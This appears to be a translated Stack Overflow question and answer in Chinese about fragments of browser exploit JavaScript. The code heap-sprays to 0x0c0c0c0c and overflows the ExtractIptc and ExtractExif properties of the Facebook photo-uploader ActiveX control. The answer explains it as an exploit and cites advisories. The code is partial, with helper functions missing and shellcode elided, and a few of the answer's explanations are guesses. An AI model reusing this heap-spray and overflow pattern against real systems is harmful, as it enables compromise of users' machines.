我不明白这段代码:

function ms(){ 
    var plc=unescape('".
    unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage(); 
    if (mf)return(0);
    mf=1; 
    var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
    var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
    for(i=0;i<hb;i++) m[i]=ss+plc; 
    hav();
    return(1); 
    }  

在上面的函数中，我似乎无法弄清楚变量类型，或者弄清楚它对 hsta 变量做了什么，以及它分配给它的是什么:

var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;

我也想不通这个函数:

function fb(){
    try {
        var obj=null;
        obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
        if(obj){
            ms();
            var buf = addr(0x0c0c0c0c);
            while (buf.length < 400) buf += buf;
            buf = buf.substring(0,400);
            obj.ExtractIptc = buf;
            obj.ExtractExif = buf;
            }
       } catch(e){}
    return 0;
    }

下面的代码是什么意思？

cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')

这是什么变量？

var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;

最重要的是，该代码片段试图做什么？

这里还有一些函数:

function hex(num,width){
    var digits='0123456789ABCDEF';
    var hex=digits.substr(num&0xF,1);
    while(num>0xF){
        num=num>>>4;
        hex=digits.substr(num&0xF,1)+hex;
        } 
    var width=(width?width:0);
    while(hex.length<width)hex='0'+hex;
    return hex; 
}

function addr(addr){
    return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4));
    }

如有任何指导，我们将不胜感激。

最佳答案

这是一个 javascript 片段，试图利用与 Facebook 相关的安全漏洞，更具体地说是利用其图像上传客户端 ActiveX 控件。

cobj 部分尝试创建一个类 ID {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0} 的对象，它恰好是一个 ActiveX 照片 uploader 控件。 ExtractIptc 和 ExtractExif 函数属于该特定的 ActiveX 控件。

代码的核心实际上是内存地址操作、移位、使用掩码来分隔高位和低位。例如，hex((addr>>16)&0xFFFF,4)) 获取一个地址，将其右移 16 位，清除低位部分并将其转换为十六进制数。要真正理解大部分代码，您应该拥有正确的调试工具。

谷歌搜索 {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0} ClassID 给出了一些您应该研究的有趣结果:

http://www.kb.cert.org/vuls/id/776931

http://seclists.org/fulldisclosure/2008/Feb/0023.html

http://securitytracker.com/alerts/2008/Feb/1019297.html

请注意，这不是 PHP。这是 JavaScript。

更多详情...

cobj 可能被翻译成 CreateObject() 调用。每个已注册的 ActiveX 控件都有自己的类 ID，它们的格式为 {0000000000-0000-0000-0000-000000000000}。当您想要引用已注册的库并创建它的实例时，您可以使用它的名称或它的类 ID。

ActiveX 控件本身应该是您计算机上的 .OCX 或 .DLL 文件。如果您可以找到此文件并对其进行调试，您将获得有关 ExtractIptc 和 ExtractExif 函数的最具体的详细信息。同样，这两个函数在以特定方式调用时似乎存在漏洞，而这正是该脚本试图利用的漏洞。

var hsta=0x0c0c0c0c 部分定义了一个变量 hsta，等于十六进制数 0c0c0c0c。这和写 var hsta = 202116108 是一样的。在计算机工程中，处理十六进制地址比处理十进制数更容易，因为计算机内存中的地址和数据都是二进制的，可以直接表示为十六进制数。有关十六进制的更多详细信息:http://en.wikipedia.org/wiki/Hexadecimal .

变量名 hsta 似乎是匈牙利语表示法(第一个字母代表变量类型 - h 代表十六进制)。因此，我假设它表示十六进制起始地址 (hsta)。按照同样的思路，我的猜测是 pl 表示有效载荷，而 plc 表示有效载荷代码。

有效负载代码是如果利用成功，计算机将执行的代码，它是您在脚本开头看到的代码 (\x43\x43\x43\x43\n....\xEF )。它被编码为 shell code针对特定的 CPU 体系结构和操作系统。这意味着代码已经编译、独立并且可以直接通过管道传输到 CPU。如果你解码它，你可能会发现一些接近机器代码的东西。这可能没有什么积极意义。

hex(num,width) 函数将十进制数转换为其十六进制形式。我已经单独测试了该函数，当输入 1000 时它返回 3E8。如果生成的十六进制数大于指定值，则 width 变量仅用于退出脚本。

关于这部分:

var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;

buf 变量是一个缓冲区。缓冲区只不过是内存中的数据。它可以作为字符串连接，如代码所示。我的猜测是从内存中 0x0c0c0c0c 处的任何内容创建一个 400 字节的缓冲区，然后将其送入两个函数。

这里缺少几个函数定义。即 hav() 函数。

关于javascript - 我不明白这段代码，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/651590/